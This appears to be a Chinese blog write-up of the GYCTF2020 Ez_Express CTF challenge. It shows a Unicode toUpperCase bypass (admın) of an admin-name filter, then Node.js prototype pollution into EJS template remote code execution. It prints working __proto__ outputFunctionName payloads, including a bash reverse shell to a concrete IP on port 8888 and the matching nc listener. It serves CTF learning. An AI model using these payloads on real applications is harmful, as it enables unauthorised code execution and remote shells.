nodejs——ejs模版遇到原型链污染产生rce

[GYCTF2020]Ez_Express

打开是一个登陆框

在源代码中找到

在代码里找到敏感关键字

找到merge 想到原型链污染

这里登陆只能用ADMIN才能登陆成功

但是这里index.php又设置了一个waf ban了admin的大小写

这里需要绕过这个waf

看注册这段代码

用的是这个toUpperCase()函数

之前学过这个函数的绕过

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

可以构造admın绕过

成功登陆进去

后面参考wp

需要用到ejs模版

Ejs简介:

EJS是一个javascript模板库,用来从json数据中生成HTML字符串

  • 功能:缓存功能,能够缓存好的HTML模板;
  • <% code %>用来执行javascript代码
  • 安装:
$ npm install ejs

看了一圈这个写的最详细

Express+lodash+ejs: 从原型链污染到RCE

懂了个大概吧

就是

还有这篇文章

从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台

大概意思就是说ejs在渲染的时候有大量代码拼接

然后我们通过原型链污染达到变量覆盖

就可以构造注入

先闭合上面的语句

再构造rce的语句

给出几个 ejs 模板引擎 RCE 常用的 POC:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

exp

先用post 访问/action 触发copy 构造原型链污染

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/182.254.242.167/8888 0>&1\"');var __tmp2"}}

再用GET 方法访问/info

用ejs渲染

 nc -lvnp 8888

用自己的vps反弹shell

在Node.js中,原型链污染是一种特殊的攻击技术,它利用JavaScript的原型继承机制来修改对象的原型链并注入恶意代码。通过修改对象的原型链,攻击者可以影响对象的行为并执行恶意操作。 实现原型链污染的过程如下: 1. 攻击者首先要找到一个合适的目标对象,该对象通常是在代码中被使用的,并且具有对外部输入进行处理的功能。 2. 攻击者通过修改目标对象的原型链,向其原型对象中添加恶意代码或属性。这通常是通过修改被攻击对象的__proto__属性来实现的。 3. 当目标对象在后续的代码中被使用时,恶意代码或属性将会被执行或访问。 例如,在Node.js中,如果一个Web应用程序使用了一个处理JSON数据的,并且对外部的JSON数据没有进行充分的验证和过滤,那么攻击者可以通过构造恶意的JSON数据来实现原型链污染。攻击者可以将恶意代码添加到JSON数据中的__proto__属性,当应用程序解析并使用该JSON数据时,恶意代码将被执行。 总结起来,Node.js的原型链污染是一种利用JavaScript的原型继承机制来修改对象的原型链并注入恶意代码的攻击技术。攻击者可以通过修改目标对象的__proto__属性来实现原型链污染,并在后续的代码中执行恶意操作。因此,在开发过程中,需要注意对外部输入的验证和过滤,以防止原型链污染攻击的发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值